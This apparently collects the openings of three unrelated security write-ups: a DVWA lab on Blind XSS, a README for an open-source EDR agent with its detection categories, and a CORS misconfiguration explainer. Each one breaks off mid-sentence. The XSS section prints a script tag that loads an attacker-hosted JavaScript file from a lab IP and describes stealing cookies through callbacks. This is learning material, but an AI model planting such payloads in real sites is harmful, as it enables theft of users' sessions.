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  Task – 3: Blind XSS, IDOR, XXE Vulnerability   1: Blind XSS (Cross-Site Scripting) What is Blind XSS? Blind XSS (Blind Cross-Site Scripting) is a type of XSS vulnerability where the payload executes in a different place, time, or user context than where it was injected — so you don’t see the result immediately. Unlike normal XSS, the attacker must wait for an out-of-band interaction (for example, when an admin views logs or a dashboard). Attacker injects an XSS payload into an input field (e.g., contact form, feedback, user profile) Application stores the payload (DB, logs, CRM, admin panel) Later, an admin or internal user views the data The payload executes in their browser Attacker receives a callback (cookie, request, alert, etc.) Explanation: In above screenshot I used victim as DVWA lab, I put my script into the comment box. Command: <script src=" http://192.168.56.101:8000/xss.js"></script> Where ip refers to my VM’s and xss.js was als...
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Sentinel-EDR Sentinel-EDR is a lightweight, open-source agent–server Endpoint Detection and Response (EDR) tool . It allows security teams to deploy agents on endpoints, collect suspicious activity logs, and forward them to a central server. The server provides a real-time dashboard with severity-based color-coded alerts for quick and effective threat monitoring. 🚀 Features 🖥️ Agent–Server Architecture Deploy agents across multiple endpoints and centralize logs in one dashboard. 🔍 Suspicious Activity Detection Detects common endpoint threats such as: Execution of scripts from untrusted folders (PowerShell, CMD, VBS). Modification or deletion of critical system files by non-admin accounts. Suspicious outbound network connections from apps like Microsoft Office or Adobe Reader. Creation of scheduled tasks or services by non-system processes. 🎨 Dashboard with Dark Mode A modern web-based dashboard with dark mode UI and color-coded alerts (Critical, High, Medium, Low...
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 What is CORS Vulnerability?     is a browser security mechanism that controls which websites (origins) are allowed to access resources (APIs, data) from another domain. A CORS vulnerability occurs when a web application misconfigures CORS headers, allowing unauthorized or malicious websites to access sensitive data or perform actions on behalf of a user. • Here, in CORS “Origin” refers to combination of schema such as http and https. Refer below example image, • It contains three-part scheme, host name, port and when it combines form the “origin” of a web application or page. How CORS works? In modern web application we have to share resources from another origin and its cross-origin resource like third party files or css files, etc for easy backend communication and to make it flexible easy web design. How CORS Occurs? CORS enforce by browser that allows one origin send request to another origin on bases of certain condition and it only allows if there is...
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